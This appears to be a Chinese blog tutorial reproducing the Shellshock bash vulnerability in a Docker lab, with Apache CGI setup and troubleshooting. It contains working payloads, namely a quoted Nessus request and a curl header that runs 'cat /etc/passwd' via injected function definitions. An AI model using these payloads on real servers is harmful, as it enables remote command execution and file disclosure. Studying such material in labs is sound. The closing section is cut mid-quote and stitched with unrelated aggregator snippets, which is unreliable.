详细的漏洞复现:Shellshock CVE-2014-6271 CVE-2014-7169
前言
巨详细的复现过程等你来!因为遇到了很多问题,因此目录做的详细一些,方便大家查看和搜索对自己有用的内容。
复现过程是在我踩过很多坑后按照应该做的步骤梳理后的流程,目的是希望你可以一次成功不用遇到问题后各种填坑。如果你遇到不明白我为什么要采取一些看似无关的环境配置步骤的情况,可以到4. 遇到的问题中看我的探索过程,希望可以提示你。
漏洞原理
Bash支持通过进程环境导出shell变量和shell函数到子进程的其他的bash实例中。现有的bash版本使用环境变量实现这一过程。环境变量以函数名命名,以“() { }”作为环境变量的值传送函数定义。由于bash处理函数定义后仍会继续解析和执行跟在函数定义后的shell命令导致远程任意代码执行。
核心原因:没有严格限制输入的边界,没有合法化的参数判断。
详见:https://seclists.org/oss-sec/2014/q3/650
安天实验室对CVE-2014-6271破壳漏洞进行了详细的分析,且提供了其他参考资料。
例子:
VAR=() { ignored; }; /bin/id
当上述环境变量导入bash进程时将执行/bin/id。
解决方案:安装补丁。在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.c的parse_and_execute函数中进行了输入的command进行了合法性的边界检测。(CVE-2014-6271 的修补不够完善,导致CVE-2014-7169。)
利用方式
需要以下条件:
- 远程服务会调用bash。(创建bash子进程)
- 远程服务允许用户定义环境变量。
- 远程服务调用子bash时加载了用户定义的环境变量。
攻击向量:
- 对CGI脚本的HTTP请求(bash命令可能出现的位置有:请求方法,路径,服务器协议,Header的值(Referer、host、UserAgent等)。还可能出现在查询字符串,查询字符串变量名)
- OpenSSH(通过AcceptEnv,TERM,SSH_ORIGINAL_COMMAND)
- 涉及其他需要额外编程设置的环境变量的情况
复现过程
这部分的核心流程是按照安天实验室的一篇分析文档做的,其中增加了我填过的坑,帮助大家更顺利的进行复现。最近看了几篇安天的分析,安天在我心里的地位噌噌地上涨,感恩。
提示1:我在复现过程中遇到了很多坑,如果你按流程走出现问题,可以去4. 遇到的问题找找有没有对应的解决办法。
提示2:最好把流程都看完再操作!可以对照4. 遇到的问题浏览各步骤可能存在的问题,做到心中有数,提前应对。中间遇到好多坑,先大致看完流程可能会少走弯路。
Nessus was able to exploit the issue using the following request :
GET /xampp/cgi.cgi HTTP/1.1
Host: 目标IP
Accept-Charset: iso-8859-1,utf-8;q=0.9,;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id;
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /
1. 环境准备
本文使用虚拟机里的Ubuntu系统,docker,现有的shellshock镜像hmlio/vaas-cve-2014-6271。
(1) 为容器配置固定IP地址
为了后续访问方便,先为容器配置固定的IP地址,可以参考这个教程。(当然也可以不设置固定)
首先创建自定义网络:
docker network create --subnet=172.18.0.0``/16 mynetwork在创建docker容器时为其配置IP地址和端口映射
docker run -it --net mynetwork --ip 172.18.0.3 -p 80:80 hmlio/vaas-cve-2014-6271 /bin/bash注意:确保创建容器时没有使用相同端口映射的容器正在运行,否则将提示错误,无法创建容器。出现该问题时,可以使用dockr ps查看正在运行的容器,使用docker stop 容器ID将其停止即可。


(2) 查看bash版本
bash --version

确认是存在shellshock漏洞的bash版本。
2. 本地验证:测试镜像系统是否存在漏洞
测试payload:env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

测试发现镜像系统存在漏洞。
3. 远程模拟验证(原理验证)
以下是针对我们选用的镜像进行复现的完整流程,是我多次从坑里跳出来后重新梳理总结的,具体的解决问题的思路摸索过程可以到4. 遇到的问题查找。
(1) 查看容器apache服务配置
apache的配置文件是/etc/apache2/sites-enabled/000-default。
我用的镜像没有vi和vim,因此需要自己下载安装。

首先要更新源,然后再安装vim。如下,将每条命令顺序单独执行。(参考这个操作就ok了。必须感谢!)
mv /etc/apt/sources.list /etc/apt/sources.list.bak
echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" >/etc/apt/sources.list
echo "deb http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
#安装更新源
apt-get update
#安装vim
apt-get install vim
安装完成后
vim /etc/apache2/sites-enabled/000-default
打开配置文件,找到下面两句:
DocumentRoot /var/www
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin
修改为:
DocumentRoot /var/www/html
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/
添加:
AddHandler cgi-script .cgi .pl .sh .py
修改完成的配置文件如下:
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/
<Directory "/var/www/html/cgi-bin/">
AddHandler cgi-script .cgi .pl .sh .py
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
注意:开始我以为<Directory "/var/www/html/cgi-bin/">路径要与上一行的DocumentRoot路径一致。但是我测试发现如果使用原有的<Directory "/usr/lib/cgi-bin">也是可以的。
(2) 编辑测试文件
注意:vim创建多层目录下的文件时,需要手动创建好中间路径,否则编辑后无法保存。
创建多层目录:mkdir -p /var/www/html/cgi-bin
vim /var/www/html/cgi-bin/test.sh
#!/bin/bash
echo "Content-type: text/html"
echo ""
一定要把#!/bin/bash放在首行,不能有空行!!!
给测试文件赋予执行权限,ls -l /var/www/html/cgi-bin/test.sh查看文件权限。

更改文件权限:chmod 777 /var/www/html/cgi-bin/test.sh
”777“表示读写执行权限,如果想了解不同权限的对应数字,具体可以搜索Linux文件权限去学习。
(3) 重启apache服务
/etc/init.d/apache2 restart

使用service apache2 restart也是可以的。

(4) 远程测试
开启一个新的终端,使用如下命令进行远程测试:
curl -H 'x: () { :;};a=/bin/cat /etc/passwd;echo $a' 'http://IP地址/cgi-bin/test.sh' -I
命令中可改变a=/bin/cat /etc/passwd;echo $a为任意命令进行执行。

当我们测试成功后,若把容器提交为镜像,再次用成功的镜像创建容器后也要重启apache服务才能被远程curl。
docker ps查看正在运行的镜像,记录容器ID。
docker commit 容器ID 新的镜像名提交镜像。

疑问:为什么要在目标机上写一个bash文件,这样攻击时已具有写权限,不需再利用shellshock漏洞就能执行代码了吧?
思考:
- bash文件可以是利用其他漏洞进行的文件上传的,而非直接写入,因此不代表攻击者需要拥有写权限。
- 即使攻击者拥有写权限,也不代表有执行权限来执行bash。
- shellshock是为bash文件提供了一种执行方式,没有执行权限的攻击者可以使其运行。
4. 遇到的问题
在这一小节总结了复现过程中遇到的问题,为方便大家阅读,标题格式确定为问题概述-->解决思路。我会将做过的尝试都记录下来,最后一次的尝试方法是能真正解决问题的方法,请大家根据自己的需求进行选择阅读。
注:此部分截图是我的各次尝试汇总到一起的,因此容器ID不是相同的,前后使用的IP地址也可能是不同的,可以忽略这些细节。
(1) Kali无法开启伪终端-->Ubuntu
发现用Kali无法开启伪终端,而且docker run -it后容器自动停止,没有找到有效的解决办法,因此改用Ubuntu。有了解原因的同学请指导指导我,到底怪Kali还是怪我。
(2)远程访问需要容器的IP地址-->为容器配置固定IP地址
开启容器bash后

不能查看容器的IP地址了,这让我很尴尬呀。
尝试1:将容器放到后台,在虚拟机用docker命令查看。
Ctrl+p+q把容器挂入后台,docker ps可以看到该容器进入后台运行,状态显示为up。使用docker exec -it 容器ID IP addr查看容器的IP地址。

直接在虚拟机内查询ifconfig。--> 这种方式是完全错误的。因为docker0是宿主机为docker容器分配的默认网关,不是容器的IP。

疑问:虚拟机查容器IP与在虚拟机用ifconfig查到的docker0的IP不同。
思考:docker0是宿主机为docker容器分配的默认网关,不是容器的IP。
尝试2:在容器内安装net-tools。
apt-get install net-tools即可直接在容器内部使用ifconfig查询IP地址。可以看到与在虚拟机查容器IP的值是一样的。

(3) 镜像未安装vim,且安装出错-->安装需更新源
使用vim命令出错,发现未安装vi和vim

使用apt-get install vim安装出错,使用apt-get update仍旧无法完成安装,问题是更新源太旧了。

需要重新编辑sources.list,但是现在没有vim,搜索方法,发现按这个操作就ok了。逐条运行下面各命令:
mv /etc/apt/sources.list /etc/apt/sources.list.bak
echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" >/etc/apt/sources.list
echo "deb http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
//安装更新源
apt-get update
//安装vim
apt-get install vim
(4) vim自动创建多层目录下的文件时出错-->需要手动创建好中间路径
直接使用vim /var/www/html/cgi-bin/test.sh创建并编辑测试文件,编辑好保存以后提示错误,无法保存。

尝试1:怀疑是权限问题,使用sudo(虽然已经是root用户了,不应该存在这种问题)

我今天才知道,sudo也是要安装的#_#,使用apt-get install sudo即可安装。但是,用sudo还是不行,仍旧出现相同问题。
尝试2:目录创建问题,直接手动创建好目录——成功
无意中看到有人说,vim自动创建文件需要自己创建好中间路径,姑且一试,嗯……好了。因为我没注意少了两层目录,于是就一层一层创建的,如果想要一次创建多层目录,使用mkdir -ppparent/child/grandson。

(5) 远程测试时无法连接-->给容器配置端口映射
curl -H 'x: () { :;};a=/bin/cat /etc/passwd;echo $a' 'http://IP地址/cgi-bin/test.sh' -I返回:

CURLE_COULDNT_CONNECT(7):connect()的主机或代理失败。目测是因为容器的端口没有映射到主机端口,所以没办法连接。
尝试1:修改容器的端口
之前试过docker run -p 80:80,可是80端口已被占用,没映射过去。因此先考虑修改容器的端口,使其可以映射。
vim /etc/apache2/sites-enabled/000-default编辑apache配置文件,将其端口改为90。
/etc/init.d/apache2 restart重启apache服务。
docker ps查看正在运行的镜像,记录容器ID。
docker commit 容器ID 新的镜像名提交镜像。
docker run -p 80:90 -it 镜像名称 /bin/bash在创建容器时添加端口映射。
此时可以看到有两个正在运行的容器,新开的容器端口变为90,映射到虚拟机的80端口。

依旧无法远程测试,失败!
尝试2:检查虚拟机端口转发是否开启
cat /proc/sys/net/ipv4/ip_forward查看端口转发情况,返回1,说明端口转发是开启的。

尝试3:考虑端口映射是否有问题-->发现没有问题
尝试4:检查是否虚拟机的端口未开启
用telnet测试发现无法连接,那么就首先开启虚拟机的80端口。Ubuntu系统使用ufw防火墙进行设置。详见https://www.cnblogs.com/EasonJim/p/7595213.html 和 https://jingyan.baidu.com/article/ac6a9a5e317b7c2b653eacde.html。
发现开启了80端口依旧无法连接。
尝试5:推翻重建——重新进行端口映射配置。——成功
实在是没有新的思路了,最终,我决定,重新进行端口映射配置。首先将之前改的apache的90端口再改回到80,重启apache服务。
接下来查看并删除原来的端口映射

再重新创建一条新的映射,将虚拟机的80端口映射到容器80端口。

再次尝试远程连接。(看到一个教程说访问时由于是由虚拟机映射到容器,因此,地址可以使用虚拟机IP地址,也可以使用容器IP地址,我就都试了一下)
两种访问方式:用虚拟机IP和容器IP
用虚拟机IP访问

用容器IP访问

现在可以远程访问了。
(6) 可以连接后HTTP 500并且没有返回应有的信息-->apache错误日志发现脚本无法执行,修改脚本错误
尝试1:查看并确保测试文件有可执行权限:ls -l /var/www/html/cgi-bin/test.sh

修改文件权限:chmod 777 /var/www/html/cgi-bin/test.sh
对解决问题有帮助,但仍然无法彻底解决问题。
尝试2:检查cgi配置(已经处在一种死马当活马医的状态中…)
检查是否有cgi模块:/usr/sbin/apache2ctl -M | grep cgi

返回cgid_module(shared)说明已有该模块。
检查是否配置加载:vim /etc/apache2/mods-enabled/cgi.load
返回结果说明已经加载:

尝试3:检查apache配置文件
vim /etc/apache2/sites-enabled/000-default发现cgi-bin的directory是不一致的,修改一致。但是后面测试发现此处不一致也是可以的。这是怪我不懂得apache配置文件的实质啊。

尝试4:检查是否测试文件存在问题,apache本身就不能执行该文件,而非配置问题
检查各种配置没问题,最后有个问答里的这句话点醒了我:
“You get 403 error not only if your apache configs aren't these directories allowed, but if even apache doesn't have the permission to reach this directory.”--from
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ... 20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ... 1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ... Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ... 漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ... 0x01 漏洞前言 Google Project Zero的网络安全研究人员发布了详细信息,并针对自内核版本3.16到4.18.8以来Linux内核中存在的高严重性漏洞的概念验证(PoC)漏洞利用.由 ... 作者:欧根 漏洞信息:CVE-2018-15982 Adobe已发布适用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新.这些更新解决一个 ... tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一.漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017 ... 漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ... 起因 不久前更新了 eclipse(2019-03) 版本:突然发现出现了,使用注释使用中出现的空格的间隔大小不一致的问题,具体可以看下图: 遇到这种问题简直逼不能忍,在网上搜一下解决方式: 谷歌 搜 ... 1 OAuth 2.0 1.1 OAuth 2.0协议流程图 1.2 授权码模式 1.3 简化模式 1.4 资源所有者密码模式 1.5 客户端凭证模式 2 OpenID Connect(OIDC) 2 ... 先说一下我的情况,集群的 hadoop 是 1.0.4 ,之后在虚拟机上搭建了最新稳定版 1.2.1 之后,Eclipse 插件始终连接不上. 出现 Error: Call to 192.168.1. ... 异步更新队列: 首先我们要对vue的数据更新有一定理解: vue是依靠数据驱动视图更新的,该更新的过程是异步的. 即:当侦听到你的数据发生变化时, Vue将开启一个队列(该队列被Vue官方称为异步更新 ... 上一节我们了解了JMS规范并且知道了JMS规范的良好实现者-activemq.今天我们就去了解一下activemq的使用.另外我们应该抱着目的去学习,别忘了我们为什么要使用消息中间件:解耦系统之间的联 ... 现在大部分的docke镜像是基于debian # cat /etc/issue Debian GNU/Linux 9 \n \l Docker容器是不支持后台服务的,像systemctl servic ... 运行环境:Windows Server 2012 R2 获取服务器DNS命令,下面的仅获取一个dns (nslookup sql.ciras.com)[1].split(':')[1].trim() ... 定义一个类 class Person: #公共属性 animal='高级动物' soul='有灵魂' language='语言' def init(self,country,name,sex,age, ... Go-json解码到接口及根据键获取值 package main import ( "encoding/json" "fmt" "github.com ... 感觉这个题还蛮难想的. 首先状态特别难想.设\(dp[i][j]\)表示前i个数,2序列的长度为j的情况下,2序列的最后一个数的最小值. 其中1序列为上一个数所在的序列,2序列为另外一个序列. 这样设 ...详细的漏洞复现:Shellshock CVE-2014-6271 CVE-2014-7169的更多相关文章
随机推荐